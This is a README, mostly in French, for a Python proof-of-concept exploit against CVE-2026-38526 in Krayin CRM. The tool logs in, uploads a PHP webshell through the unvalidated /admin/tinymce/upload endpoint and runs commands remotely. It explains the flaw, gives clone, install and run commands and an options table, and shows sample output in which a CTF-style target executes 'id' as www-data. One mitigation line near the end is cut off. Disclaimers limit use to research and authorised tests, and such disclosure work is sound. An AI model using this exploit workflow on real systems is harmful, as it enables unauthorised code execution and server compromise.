
Python PoC exploiting CVE-2026-38526 in Krayin CRM <= 2.2.x: authenticates, uploads a PHP webshell via /admin/tinymce/upload, and executes commands remotely.
⚠️ Avertissement légal : ce code est fourni à des fins éducatives et pour des tests autorisés uniquement (CTF, bug bounty, labo privé). L'auteur n'est pas responsable d'une utilisation illégale.
Krayin CRM (Webkul) ≤ 2.2.x expose l'endpoint /admin/tinymce/upload
qui permet à un utilisateur authentifié (même à faible privilège)
d'uploader des fichiers sans validation d'extension. Le fichier est
ensuite servi depuis le dossier storage/, permettant l'exécution
arbitraire de code PHP.
git clone https://github.com/<TON_PSEUDO>/cve-2026-38526.git
cd cve-2026-38526
pip install -r requirements.txt
python3 cve-2026-38526.py -t http://target.tld -u [email protected] -p 'password' -c 'id'
Options :
| Option | Description |
|---|---|
-t, --target | URL racine de la cible |
-u, --user | Email du compte Krayin |
-p, --password | Mot de passe |
-c, --command | Commande à exécuter (défaut : id) |
--login-path | Chemin de login (défaut : /admin/login) |
--upload-path | Chemin d'upload (défaut : /admin/tinymce/upload) |
--timeout | Timeout HTTP (défaut : 15) |
$ python3 cve-2026-38526.py -t http://billing.nexus.htb \
-u [email protected] -p 'N27xh!!2ucY04' -c 'id'
[*] Récupération du token CSRF sur http://billing.nexus.htb/admin/login
[*] Envoi du formulaire de login
[+] Authentification réussie
[*] Upload de x8f2k1ab.php via http://billing.nexus.htb/admin/tinymce/upload
[+] Webshell accessible : http://billing.nexus.htb/storage/tinymce/x8f2k1ab.php
[*] Exécution : id
============================================================
[+] Commande : id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
storage/ et uploads/.Ce projet est publié à des fins de recherche en sécurité. Toute utilisation contre des systèmes sans autorisation écrite préalable est illégale et strictement interdite.